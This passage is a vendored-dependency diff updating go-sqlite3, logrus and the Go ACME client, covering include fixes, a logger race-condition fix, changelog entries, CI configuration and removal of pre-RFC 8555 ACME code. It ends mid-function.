#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+1
-1
@@ -5,7 +5,7 @@
|
||||
|
||||
#ifdef SQLITE_ENABLE_UNLOCK_NOTIFY
|
||||
#include <stdio.h>
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
|
||||
extern int unlock_notify_wait(sqlite3 *db);
|
||||
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ package sqlite3
|
||||
#cgo CFLAGS: -DSQLITE_ENABLE_UNLOCK_NOTIFY
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
|
||||
extern void unlock_notify_callback(void *arg, int argc);
|
||||
*/
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ package sqlite3
|
||||
#cgo CFLAGS: -DSQLITE_USER_AUTHENTICATION
|
||||
#cgo LDFLAGS: -lm
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+16
-5
@@ -19,7 +19,7 @@ package sqlite3
|
||||
#cgo CFLAGS: -Wno-deprecated-declarations
|
||||
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
@@ -472,10 +472,21 @@ func goVBestIndex(pVTab unsafe.Pointer, icp unsafe.Pointer) *C.char {
|
||||
}
|
||||
|
||||
info.idxNum = C.int(res.IdxNum)
|
||||
idxStr := C.CString(res.IdxStr)
|
||||
defer C.free(unsafe.Pointer(idxStr))
|
||||
info.idxStr = idxStr
|
||||
info.needToFreeIdxStr = C.int(0)
|
||||
info.idxStr = (*C.char)(C.sqlite3_malloc(C.int(len(res.IdxStr) + 1)))
|
||||
if info.idxStr == nil {
|
||||
// C.malloc and C.CString ordinarily do this for you. See https://golang.org/cmd/cgo/
|
||||
panic("out of memory")
|
||||
}
|
||||
info.needToFreeIdxStr = C.int(1)
|
||||
|
||||
idxStr := *(*[]byte)(unsafe.Pointer(&reflect.SliceHeader{
|
||||
Data: uintptr(unsafe.Pointer(info.idxStr)),
|
||||
Len: len(res.IdxStr) + 1,
|
||||
Cap: len(res.IdxStr) + 1,
|
||||
}))
|
||||
copy(idxStr, res.IdxStr)
|
||||
idxStr[len(idxStr)-1] = 0 // null-terminated string
|
||||
|
||||
if res.AlreadyOrdered {
|
||||
info.orderByConsumed = C.int(1)
|
||||
}
|
||||
|
||||
+1
-1
@@ -9,7 +9,7 @@ package sqlite3
|
||||
|
||||
/*
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
|
||||
+70
-24
@@ -1,5 +1,4 @@
|
||||
// Copyright (C) 2019 Yasuhiro Matsumoto <[email protected]>.
|
||||
//
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
@@ -7,15 +6,16 @@ package sqlite3
|
||||
|
||||
/*
|
||||
#ifndef USE_LIBSQLITE3
|
||||
#include <sqlite3-binding.h>
|
||||
#include "sqlite3-binding.h"
|
||||
#else
|
||||
#include <sqlite3.h>
|
||||
#endif
|
||||
*/
|
||||
import "C"
|
||||
import (
|
||||
"database/sql"
|
||||
"reflect"
|
||||
"time"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// ColumnTypeDatabaseTypeName implement RowsColumnTypeDatabaseTypeName.
|
||||
@@ -31,32 +31,78 @@ func (rc *SQLiteRows) ColumnTypeLength(index int) (length int64, ok bool) {
|
||||
func (rc *SQLiteRows) ColumnTypePrecisionScale(index int) (precision, scale int64, ok bool) {
|
||||
return 0, 0, false
|
||||
}
|
||||
*/
|
||||
|
||||
// ColumnTypeNullable implement RowsColumnTypeNullable.
|
||||
func (rc *SQLiteRows) ColumnTypeNullable(i int) (nullable, ok bool) {
|
||||
return false, false
|
||||
return true, true
|
||||
}
|
||||
*/
|
||||
|
||||
// ColumnTypeScanType implement RowsColumnTypeScanType.
|
||||
func (rc *SQLiteRows) ColumnTypeScanType(i int) reflect.Type {
|
||||
switch C.sqlite3_column_type(rc.s.s, C.int(i)) {
|
||||
case C.SQLITE_INTEGER:
|
||||
switch C.GoString(C.sqlite3_column_decltype(rc.s.s, C.int(i))) {
|
||||
case "timestamp", "datetime", "date":
|
||||
return reflect.TypeOf(time.Time{})
|
||||
case "boolean":
|
||||
return reflect.TypeOf(false)
|
||||
}
|
||||
return reflect.TypeOf(int64(0))
|
||||
case C.SQLITE_FLOAT:
|
||||
return reflect.TypeOf(float64(0))
|
||||
case C.SQLITE_BLOB:
|
||||
return reflect.SliceOf(reflect.TypeOf(byte(0)))
|
||||
case C.SQLITE_NULL:
|
||||
return reflect.TypeOf(nil)
|
||||
case C.SQLITE_TEXT:
|
||||
return reflect.TypeOf("")
|
||||
}
|
||||
return reflect.SliceOf(reflect.TypeOf(byte(0)))
|
||||
//ct := C.sqlite3_column_type(rc.s.s, C.int(i)) // Always returns 5
|
||||
return scanType(C.GoString(C.sqlite3_column_decltype(rc.s.s, C.int(i))))
|
||||
}
|
||||
|
||||
const (
|
||||
SQLITE_INTEGER = iota
|
||||
SQLITE_TEXT
|
||||
SQLITE_BLOB
|
||||
SQLITE_REAL
|
||||
SQLITE_NUMERIC
|
||||
SQLITE_TIME
|
||||
SQLITE_BOOL
|
||||
SQLITE_NULL
|
||||
)
|
||||
|
||||
func scanType(cdt string) reflect.Type {
|
||||
t := strings.ToUpper(cdt)
|
||||
i := databaseTypeConvSqlite(t)
|
||||
switch i {
|
||||
case SQLITE_INTEGER:
|
||||
return reflect.TypeOf(sql.NullInt64{})
|
||||
case SQLITE_TEXT:
|
||||
return reflect.TypeOf(sql.NullString{})
|
||||
case SQLITE_BLOB:
|
||||
return reflect.TypeOf(sql.RawBytes{})
|
||||
case SQLITE_REAL:
|
||||
return reflect.TypeOf(sql.NullFloat64{})
|
||||
case SQLITE_NUMERIC:
|
||||
return reflect.TypeOf(sql.NullFloat64{})
|
||||
case SQLITE_BOOL:
|
||||
return reflect.TypeOf(sql.NullBool{})
|
||||
case SQLITE_TIME:
|
||||
return reflect.TypeOf(sql.NullTime{})
|
||||
}
|
||||
return reflect.TypeOf(new(interface{}))
|
||||
}
|
||||
|
||||
func databaseTypeConvSqlite(t string) int {
|
||||
if strings.Contains(t, "INT") {
|
||||
return SQLITE_INTEGER
|
||||
}
|
||||
if t == "CLOB" || t == "TEXT" ||
|
||||
strings.Contains(t, "CHAR") {
|
||||
return SQLITE_TEXT
|
||||
}
|
||||
if t == "BLOB" {
|
||||
return SQLITE_BLOB
|
||||
}
|
||||
if t == "REAL" || t == "FLOAT" ||
|
||||
strings.Contains(t, "DOUBLE") {
|
||||
return SQLITE_REAL
|
||||
}
|
||||
if t == "DATE" || t == "DATETIME" ||
|
||||
t == "TIMESTAMP" {
|
||||
return SQLITE_TIME
|
||||
}
|
||||
if t == "NUMERIC" ||
|
||||
strings.Contains(t, "DECIMAL") {
|
||||
return SQLITE_NUMERIC
|
||||
}
|
||||
if t == "BOOLEAN" {
|
||||
return SQLITE_BOOL
|
||||
}
|
||||
|
||||
return SQLITE_NULL
|
||||
}
|
||||
+26
@@ -342,6 +342,20 @@ struct sqlite3_api_routines {
|
||||
sqlite3_file *(*database_file_object)(const char*);
|
||||
/* Version 3.34.0 and later */
|
||||
int (*txn_state)(sqlite3*,const char*);
|
||||
/* Version 3.36.1 and later */
|
||||
sqlite3_int64 (*changes64)(sqlite3*);
|
||||
sqlite3_int64 (*total_changes64)(sqlite3*);
|
||||
/* Version 3.37.0 and later */
|
||||
int (*autovacuum_pages)(sqlite3*,
|
||||
unsigned int(*)(void*,const char*,unsigned int,unsigned int,unsigned int),
|
||||
void*, void(*)(void*));
|
||||
/* Version 3.38.0 and later */
|
||||
int (*error_offset)(sqlite3*);
|
||||
int (*vtab_rhs_value)(sqlite3_index_info*,int,sqlite3_value**);
|
||||
int (*vtab_distinct)(sqlite3_index_info*);
|
||||
int (*vtab_in)(sqlite3_index_info*,int,int);
|
||||
int (*vtab_in_first)(sqlite3_value*,sqlite3_value**);
|
||||
int (*vtab_in_next)(sqlite3_value*,sqlite3_value**);
|
||||
};
|
||||
|
||||
/*
|
||||
@@ -648,6 +662,18 @@ typedef int (*sqlite3_loadext_entry)(
|
||||
#define sqlite3_database_file_object sqlite3_api->database_file_object
|
||||
/* Version 3.34.0 and later */
|
||||
#define sqlite3_txn_state sqlite3_api->txn_state
|
||||
/* Version 3.36.1 and later */
|
||||
#define sqlite3_changes64 sqlite3_api->changes64
|
||||
#define sqlite3_total_changes64 sqlite3_api->total_changes64
|
||||
/* Version 3.37.0 and later */
|
||||
#define sqlite3_autovacuum_pages sqlite3_api->autovacuum_pages
|
||||
/* Version 3.38.0 and later */
|
||||
#define sqlite3_error_offset sqlite3_api->error_offset
|
||||
#define sqlite3_vtab_rhs_value sqlite3_api->vtab_rhs_value
|
||||
#define sqlite3_vtab_distinct sqlite3_api->vtab_distinct
|
||||
#define sqlite3_vtab_in sqlite3_api->vtab_in
|
||||
#define sqlite3_vtab_in_first sqlite3_api->vtab_in_first
|
||||
#define sqlite3_vtab_in_next sqlite3_api->vtab_in_next
|
||||
#endif /* !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION) */
|
||||
|
||||
#if !defined(SQLITE_CORE) && !defined(SQLITE_OMIT_LOAD_EXTENSION)
|
||||
|
||||
+6
-8
@@ -4,14 +4,12 @@ git:
|
||||
depth: 1
|
||||
env:
|
||||
- GO111MODULE=on
|
||||
go: [1.13.x, 1.14.x]
|
||||
os: [linux, osx]
|
||||
go: 1.15.x
|
||||
os: linux
|
||||
install:
|
||||
- ./travis/install.sh
|
||||
script:
|
||||
- ./travis/cross_build.sh
|
||||
- ./travis/lint.sh
|
||||
- export GOMAXPROCS=4
|
||||
- export GORACE=halt_on_error=1
|
||||
- go test -race -v ./...
|
||||
- if [[ "$TRAVIS_OS_NAME" == "linux" ]]; then go test -race -v -tags appengine ./... ; fi
|
||||
- cd ci
|
||||
- go run mage.go -v -w ../ crossBuild
|
||||
- go run mage.go -v -w ../ lint
|
||||
- go run mage.go -v -w ../ test
|
||||
+36
@@ -1,3 +1,39 @@
|
||||
# 1.8.1
|
||||
Code quality:
|
||||
* move magefile in its own subdir/submodule to remove magefile dependency on logrus consumer
|
||||
* improve timestamp format documentation
|
||||
|
||||
Fixes:
|
||||
* fix race condition on logger hooks
|
||||
|
||||
|
||||
# 1.8.0
|
||||
|
||||
Correct versioning number replacing v1.7.1.
|
||||
|
||||
# 1.7.1
|
||||
|
||||
Beware this release has introduced a new public API and its semver is therefore incorrect.
|
||||
|
||||
Code quality:
|
||||
* use go 1.15 in travis
|
||||
* use magefile as task runner
|
||||
|
||||
Fixes:
|
||||
* small fixes about new go 1.13 error formatting system
|
||||
* Fix for long time race condiction with mutating data hooks
|
||||
|
||||
Features:
|
||||
* build support for zos
|
||||
|
||||
# 1.7.0
|
||||
Fixes:
|
||||
* the dependency toward a windows terminal library has been removed
|
||||
|
||||
Features:
|
||||
* a new buffer pool management API has been added
|
||||
* a set of `<LogLevel>Fn()` functions have been added
|
||||
|
||||
# 1.6.0
|
||||
Fixes:
|
||||
* end of line cleanup
|
||||
|
||||
+1
-1
@@ -402,7 +402,7 @@ func (f *MyJSONFormatter) Format(entry *Entry) ([]byte, error) {
|
||||
// source of the official loggers.
|
||||
serialized, err := json.Marshal(entry.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("Failed to marshal fields to JSON, %v", err)
|
||||
return nil, fmt.Errorf("Failed to marshal fields to JSON, %w", err)
|
||||
}
|
||||
return append(serialized, '\n'), nil
|
||||
}
|
||||
|
||||
+42
-33
@@ -78,6 +78,14 @@ func NewEntry(logger *Logger) *Entry {
|
||||
}
|
||||
}
|
||||
|
||||
func (entry *Entry) Dup() *Entry {
|
||||
data := make(Fields, len(entry.Data))
|
||||
for k, v := range entry.Data {
|
||||
data[k] = v
|
||||
}
|
||||
return &Entry{Logger: entry.Logger, Data: data, Time: entry.Time, Context: entry.Context, err: entry.err}
|
||||
}
|
||||
|
||||
// Returns the bytes representation of this entry from the formatter.
|
||||
func (entry *Entry) Bytes() ([]byte, error) {
|
||||
return entry.Logger.Formatter.Format(entry)
|
||||
@@ -123,11 +131,9 @@ func (entry *Entry) WithFields(fields Fields) *Entry {
|
||||
for k, v := range fields {
|
||||
isErrField := false
|
||||
if t := reflect.TypeOf(v); t != nil {
|
||||
switch t.Kind() {
|
||||
case reflect.Func:
|
||||
switch {
|
||||
case t.Kind() == reflect.Func, t.Kind() == reflect.Ptr && t.Elem().Kind() == reflect.Func:
|
||||
isErrField = true
|
||||
case reflect.Ptr:
|
||||
isErrField = t.Elem().Kind() == reflect.Func
|
||||
}
|
||||
}
|
||||
if isErrField {
|
||||
@@ -212,68 +218,72 @@ func (entry Entry) HasCaller() (has bool) {
|
||||
entry.Caller != nil
|
||||
}
|
||||
|
||||
// This function is not declared with a pointer value because otherwise
|
||||
// race conditions will occur when using multiple goroutines
|
||||
func (entry Entry) log(level Level, msg string) {
|
||||
func (entry *Entry) log(level Level, msg string) {
|
||||
var buffer *bytes.Buffer
|
||||
|
||||
// Default to now, but allow users to override if they want.
|
||||
//
|
||||
// We don't have to worry about polluting future calls to Entry#log()
|
||||
// with this assignment because this function is declared with a
|
||||
// non-pointer receiver.
|
||||
if entry.Time.IsZero() {
|
||||
entry.Time = time.Now()
|
||||
newEntry := entry.Dup()
|
||||
|
||||
if newEntry.Time.IsZero() {
|
||||
newEntry.Time = time.Now()
|
||||
}
|
||||
|
||||
entry.Level = level
|
||||
entry.Message = msg
|
||||
entry.Logger.mu.Lock()
|
||||
if entry.Logger.ReportCaller {
|
||||
entry.Caller = getCaller()
|
||||
}
|
||||
entry.Logger.mu.Unlock()
|
||||
newEntry.Level = level
|
||||
newEntry.Message = msg
|
||||
|
||||
entry.fireHooks()
|
||||
newEntry.Logger.mu.Lock()
|
||||
reportCaller := newEntry.Logger.ReportCaller
|
||||
newEntry.Logger.mu.Unlock()
|
||||
|
||||
if reportCaller {
|
||||
newEntry.Caller = getCaller()
|
||||
}
|
||||
|
||||
newEntry.fireHooks()
|
||||
|
||||
buffer = getBuffer()
|
||||
defer func() {
|
||||
entry.Buffer = nil
|
||||
newEntry.Buffer = nil
|
||||
putBuffer(buffer)
|
||||
}()
|
||||
buffer.Reset()
|
||||
entry.Buffer = buffer
|
||||
newEntry.Buffer = buffer
|
||||
|
||||
entry.write()
|
||||
newEntry.write()
|
||||
|
||||
entry.Buffer = nil
|
||||
newEntry.Buffer = nil
|
||||
|
||||
// To avoid Entry#log() returning a value that only would make sense for
|
||||
// panic() to use in Entry#Panic(), we avoid the allocation by checking
|
||||
// directly here.
|
||||
if level <= PanicLevel {
|
||||
panic(&entry)
|
||||
panic(newEntry)
|
||||
}
|
||||
}
|
||||
|
||||
func (entry *Entry) fireHooks() {
|
||||
var tmpHooks LevelHooks
|
||||
entry.Logger.mu.Lock()
|
||||
defer entry.Logger.mu.Unlock()
|
||||
err := entry.Logger.Hooks.Fire(entry.Level, entry)
|
||||
tmpHooks = make(LevelHooks, len(entry.Logger.Hooks))
|
||||
for k, v := range entry.Logger.Hooks {
|
||||
tmpHooks[k] = v
|
||||
}
|
||||
entry.Logger.mu.Unlock()
|
||||
|
||||
err := tmpHooks.Fire(entry.Level, entry)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Failed to fire hook: %v\n", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (entry *Entry) write() {
|
||||
entry.Logger.mu.Lock()
|
||||
defer entry.Logger.mu.Unlock()
|
||||
serialized, err := entry.Logger.Formatter.Format(entry)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Failed to obtain reader, %v\n", err)
|
||||
return
|
||||
}
|
||||
if _, err = entry.Logger.Out.Write(serialized); err != nil {
|
||||
entry.Logger.mu.Lock()
|
||||
defer entry.Logger.mu.Unlock()
|
||||
if _, err := entry.Logger.Out.Write(serialized); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "Failed to write to log, %v\n", err)
|
||||
}
|
||||
}
|
||||
@@ -319,7 +329,6 @@ func (entry *Entry) Fatal(args ...interface{}) {
|
||||
|
||||
func (entry *Entry) Panic(args ...interface{}) {
|
||||
entry.Log(PanicLevel, args...)
|
||||
panic(fmt.Sprint(args...))
|
||||
}
|
||||
|
||||
// Entry Printf family functions
|
||||
|
||||
+4
-1
@@ -23,6 +23,9 @@ func (f FieldMap) resolve(key fieldKey) string {
|
||||
// JSONFormatter formats logs into parsable json
|
||||
type JSONFormatter struct {
|
||||
// TimestampFormat sets the format used for marshaling timestamps.
|
||||
// The format to use is the same than for time.Format or time.Parse from the standard
|
||||
// library.
|
||||
// The standard Library already provides a set of predefined format.
|
||||
TimestampFormat string
|
||||
|
||||
// DisableTimestamp allows disabling automatic timestamps in output
|
||||
@@ -118,7 +121,7 @@ func (f *JSONFormatter) Format(entry *Entry) ([]byte, error) {
|
||||
encoder.SetIndent("", " ")
|
||||
}
|
||||
if err := encoder.Encode(data); err != nil {
|
||||
return nil, fmt.Errorf("failed to marshal fields to JSON, %v", err)
|
||||
return nil, fmt.Errorf("failed to marshal fields to JSON, %w", err)
|
||||
}
|
||||
|
||||
return b.Bytes(), nil
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ import (
|
||||
// LogFunction For big messages, it can be more efficient to pass a function
|
||||
// and only call it if the log level is actually enables rather than
|
||||
// generating the log message and then checking if the level is enabled
|
||||
type LogFunction func()[]interface{}
|
||||
type LogFunction func() []interface{}
|
||||
|
||||
type Logger struct {
|
||||
// The logs are `io.Copy`'d to this in a mutex. It's common to set this to a
|
||||
|
||||
+1
-1
@@ -1,4 +1,4 @@
|
||||
// +build linux aix
|
||||
// +build linux aix zos
|
||||
// +build !js
|
||||
|
||||
package logrus
|
||||
|
||||
+6
-1
@@ -53,7 +53,10 @@ type TextFormatter struct {
|
||||
// the time passed since beginning of execution.
|
||||
FullTimestamp bool
|
||||
|
||||
// TimestampFormat to use for display when a full timestamp is printed
|
||||
// TimestampFormat to use for display when a full timestamp is printed.
|
||||
// The format to use is the same than for time.Format or time.Parse from the standard
|
||||
// library.
|
||||
// The standard Library already provides a set of predefined format.
|
||||
TimestampFormat string
|
||||
|
||||
// The fields are sorted by default for a consistent output. For applications
|
||||
@@ -235,6 +238,8 @@ func (f *TextFormatter) printColored(b *bytes.Buffer, entry *Entry, keys []strin
|
||||
levelColor = yellow
|
||||
case ErrorLevel, FatalLevel, PanicLevel:
|
||||
levelColor = red
|
||||
case InfoLevel:
|
||||
levelColor = blue
|
||||
default:
|
||||
levelColor = blue
|
||||
}
|
||||
|
||||
+72
-369
@@ -3,17 +3,20 @@
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package acme provides an implementation of the
|
||||
// Automatic Certificate Management Environment (ACME) spec.
|
||||
// The intial implementation was based on ACME draft-02 and
|
||||
// is now being extended to comply with RFC 8555.
|
||||
// See https://tools.ietf.org/html/draft-ietf-acme-acme-02
|
||||
// and https://tools.ietf.org/html/rfc8555 for details.
|
||||
// Automatic Certificate Management Environment (ACME) spec,
|
||||
// most famously used by Let's Encrypt.
|
||||
//
|
||||
// The initial implementation of this package was based on an early version
|
||||
// of the spec. The current implementation supports only the modern
|
||||
// RFC 8555 but some of the old API surface remains for compatibility.
|
||||
// While code using the old API will still compile, it will return an error.
|
||||
// Note the deprecation comments to update your code.
|
||||
//
|
||||
// See https://tools.ietf.org/html/rfc8555 for the spec.
|
||||
//
|
||||
// Most common scenarios will want to use autocert subdirectory instead,
|
||||
// which provides automatic access to certificates from Let's Encrypt
|
||||
// and any other ACME-based CA.
|
||||
//
|
||||
// This package is a work in progress and makes no API stability promises.
|
||||
package acme
|
||||
|
||||
import (
|
||||
@@ -33,8 +36,6 @@ import (
|
||||
"encoding/pem"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/big"
|
||||
"net/http"
|
||||
"strings"
|
||||
@@ -72,6 +73,7 @@ const (
|
||||
)
|
||||
|
||||
// Client is an ACME client.
|
||||
//
|
||||
// The only required field is Key. An example of creating a client with a new key
|
||||
// is as follows:
|
||||
//
|
||||
@@ -125,7 +127,9 @@ type Client struct {
|
||||
|
||||
cacheMu sync.Mutex
|
||||
dir *Directory // cached result of Client's Discover method
|
||||
kid keyID // cached Account.URI obtained from registerRFC or getAccountRFC
|
||||
// KID is the key identifier provided by the CA. If not provided it will be
|
||||
// retrieved from the CA by making a call to the registration endpoint.
|
||||
KID KeyID
|
||||
|
||||
noncesMu sync.Mutex
|
||||
nonces map[string]struct{} // nonces collected from previous responses
|
||||
@@ -140,23 +144,22 @@ type Client struct {
|
||||
//
|
||||
// When in pre-RFC mode or when c.getRegRFC responds with an error, accountKID
|
||||
// returns noKeyID.
|
||||
func (c *Client) accountKID(ctx context.Context) keyID {
|
||||
func (c *Client) accountKID(ctx context.Context) KeyID {
|
||||
c.cacheMu.Lock()
|
||||
defer c.cacheMu.Unlock()
|
||||
if !c.dir.rfcCompliant() {
|
||||
return noKeyID
|
||||
}
|
||||
if c.kid != noKeyID {
|
||||
return c.kid
|
||||
if c.KID != noKeyID {
|
||||
return c.KID
|
||||
}
|
||||
a, err := c.getRegRFC(ctx)
|
||||
if err != nil {
|
||||
return noKeyID
|
||||
}
|
||||
c.kid = keyID(a.URI)
|
||||
return c.kid
|
||||
c.KID = KeyID(a.URI)
|
||||
return c.KID
|
||||
}
|
||||
|
||||
var errPreRFC = errors.New("acme: server does not support the RFC 8555 version of ACME")
|
||||
|
||||
// Discover performs ACME server discovery using c.DirectoryURL.
|
||||
//
|
||||
// It caches successful result. So, subsequent calls will not result in
|
||||
@@ -177,53 +180,36 @@ func (c *Client) Discover(ctx context.Context) (Directory, error) {
|
||||
c.addNonce(res.Header)
|
||||
|
||||
var v struct {
|
||||
Reg string `json:"new-reg"`
|
||||
RegRFC string `json:"newAccount"`
|
||||
Authz string `json:"new-authz"`
|
||||
AuthzRFC string `json:"newAuthz"`
|
||||
OrderRFC string `json:"newOrder"`
|
||||
Cert string `json:"new-cert"`
|
||||
Revoke string `json:"revoke-cert"`
|
||||
RevokeRFC string `json:"revokeCert"`
|
||||
NonceRFC string `json:"newNonce"`
|
||||
KeyChangeRFC string `json:"keyChange"`
|
||||
Meta struct {
|
||||
Terms string `json:"terms-of-service"`
|
||||
TermsRFC string `json:"termsOfService"`
|
||||
WebsiteRFC string `json:"website"`
|
||||
CAA []string `json:"caa-identities"`
|
||||
CAARFC []string `json:"caaIdentities"`
|
||||
ExternalAcctRFC bool `json:"externalAccountRequired"`
|
||||
Reg string `json:"newAccount"`
|
||||
Authz string `json:"newAuthz"`
|
||||
Order string `json:"newOrder"`
|
||||
Revoke string `json:"revokeCert"`
|
||||
Nonce string `json:"newNonce"`
|
||||
KeyChange string `json:"keyChange"`
|
||||
Meta struct {
|
||||
Terms string `json:"termsOfService"`
|
||||
Website string `json:"website"`
|
||||
CAA []string `json:"caaIdentities"`
|
||||
ExternalAcct bool `json:"externalAccountRequired"`
|
||||
}
|
||||
}
|
||||
if err := json.NewDecoder(res.Body).Decode(&v); err != nil {
|
||||
return Directory{}, err
|
||||
}
|
||||
if v.OrderRFC == "" {
|
||||
// Non-RFC compliant ACME CA.
|
||||
c.dir = &Directory{
|
||||
RegURL: v.Reg,
|
||||
AuthzURL: v.Authz,
|
||||
CertURL: v.Cert,
|
||||
RevokeURL: v.Revoke,
|
||||
Terms: v.Meta.Terms,
|
||||
Website: v.Meta.WebsiteRFC,
|
||||
CAA: v.Meta.CAA,
|
||||
}
|
||||
return *c.dir, nil
|
||||
if v.Order == "" {
|
||||
return Directory{}, errPreRFC
|
||||
}
|
||||
// RFC compliant ACME CA.
|
||||
c.dir = &Directory{
|
||||
RegURL: v.RegRFC,
|
||||
AuthzURL: v.AuthzRFC,
|
||||
OrderURL: v.OrderRFC,
|
||||
RevokeURL: v.RevokeRFC,
|
||||
NonceURL: v.NonceRFC,
|
||||
KeyChangeURL: v.KeyChangeRFC,
|
||||
Terms: v.Meta.TermsRFC,
|
||||
Website: v.Meta.WebsiteRFC,
|
||||
CAA: v.Meta.CAARFC,
|
||||
ExternalAccountRequired: v.Meta.ExternalAcctRFC,
|
||||
RegURL: v.Reg,
|
||||
AuthzURL: v.Authz,
|
||||
OrderURL: v.Order,
|
||||
RevokeURL: v.Revoke,
|
||||
NonceURL: v.Nonce,
|
||||
KeyChangeURL: v.KeyChange,
|
||||
Terms: v.Meta.Terms,
|
||||
Website: v.Meta.Website,
|
||||
CAA: v.Meta.CAA,
|
||||
ExternalAccountRequired: v.Meta.ExternalAcct,
|
||||
}
|
||||
return *c.dir, nil
|
||||
}
|
||||
@@ -235,55 +221,11 @@ func (c *Client) directoryURL() string {
|
||||
return LetsEncryptURL
|
||||
}
|
||||
|
||||
// CreateCert requests a new certificate using the Certificate Signing Request csr encoded in DER format.
|
||||
// It is incompatible with RFC 8555. Callers should use CreateOrderCert when interfacing
|
||||
// with an RFC-compliant CA.
|
||||
// CreateCert was part of the old version of ACME. It is incompatible with RFC 8555.
|
||||
//
|
||||
// The exp argument indicates the desired certificate validity duration. CA may issue a certificate
|
||||
// with a different duration.
|
||||
// If the bundle argument is true, the returned value will also contain the CA (issuer) certificate chain.
|
||||
//
|
||||
// In the case where CA server does not provide the issued certificate in the response,
|
||||
// CreateCert will poll certURL using c.FetchCert, which will result in additional round-trips.
|
||||
// In such a scenario, the caller can cancel the polling with ctx.
|
||||
//
|
||||
// CreateCert returns an error if the CA's response or chain was unreasonably large.
|
||||
// Callers are encouraged to parse the returned value to ensure the certificate is valid and has the expected features.
|
||||
// Deprecated: this was for the pre-RFC 8555 version of ACME. Callers should use CreateOrderCert.
|
||||
func (c *Client) CreateCert(ctx context.Context, csr []byte, exp time.Duration, bundle bool) (der [][]byte, certURL string, err error) {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
|
||||
req := struct {
|
||||
Resource string `json:"resource"`
|
||||
CSR string `json:"csr"`
|
||||
NotBefore string `json:"notBefore,omitempty"`
|
||||
NotAfter string `json:"notAfter,omitempty"`
|
||||
}{
|
||||
Resource: "new-cert",
|
||||
CSR: base64.RawURLEncoding.EncodeToString(csr),
|
||||
}
|
||||
now := timeNow()
|
||||
req.NotBefore = now.Format(time.RFC3339)
|
||||
if exp > 0 {
|
||||
req.NotAfter = now.Add(exp).Format(time.RFC3339)
|
||||
}
|
||||
|
||||
res, err := c.post(ctx, nil, c.dir.CertURL, req, wantStatus(http.StatusCreated))
|
||||
if err != nil {
|
||||
return nil, "", err
|
||||
}
|
||||
defer res.Body.Close()
|
||||
|
||||
curl := res.Header.Get("Location") // cert permanent URL
|
||||
if res.ContentLength == 0 {
|
||||
// no cert in the body; poll until we get it
|
||||
cert, err := c.FetchCert(ctx, curl, bundle)
|
||||
return cert, curl, err
|
||||
}
|
||||
// slurp issued cert and CA chain, if requested
|
||||
cert, err := c.responseCert(ctx, res, bundle)
|
||||
return cert, curl, err
|
||||
return nil, "", errPreRFC
|
||||
}
|
||||
|
||||
// FetchCert retrieves already issued certificate from the given url, in DER format.
|
||||
@@ -297,20 +239,10 @@ func (c *Client) CreateCert(ctx context.Context, csr []byte, exp time.Duration,
|
||||
// Callers are encouraged to parse the returned value to ensure the certificate is valid
|
||||
// and has expected features.
|
||||
func (c *Client) FetchCert(ctx context.Context, url string, bundle bool) ([][]byte, error) {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.fetchCertRFC(ctx, url, bundle)
|
||||
}
|
||||
|
||||
// Legacy non-authenticated GET request.
|
||||
res, err := c.get(ctx, url, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return c.responseCert(ctx, res, bundle)
|
||||
return c.fetchCertRFC(ctx, url, bundle)
|
||||
}
|
||||
|
||||
// RevokeCert revokes a previously issued certificate cert, provided in DER format.
|
||||
@@ -320,30 +252,10 @@ func (c *Client) FetchCert(ctx context.Context, url string, bundle bool) ([][]by
|
||||
// For instance, the key pair of the certificate may be authorized.
|
||||
// If the key is nil, c.Key is used instead.
|
||||
func (c *Client) RevokeCert(ctx context.Context, key crypto.Signer, cert []byte, reason CRLReasonCode) error {
|
||||
dir, err := c.Discover(ctx)
|
||||
if err != nil {
|
||||
if _, err := c.Discover(ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
if dir.rfcCompliant() {
|
||||
return c.revokeCertRFC(ctx, key, cert, reason)
|
||||
}
|
||||
|
||||
// Legacy CA.
|
||||
body := &struct {
|
||||
Resource string `json:"resource"`
|
||||
Cert string `json:"certificate"`
|
||||
Reason int `json:"reason"`
|
||||
}{
|
||||
Resource: "revoke-cert",
|
||||
Cert: base64.RawURLEncoding.EncodeToString(cert),
|
||||
Reason: int(reason),
|
||||
}
|
||||
res, err := c.post(ctx, key, dir.RevokeURL, body, wantStatus(http.StatusOK))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer res.Body.Close()
|
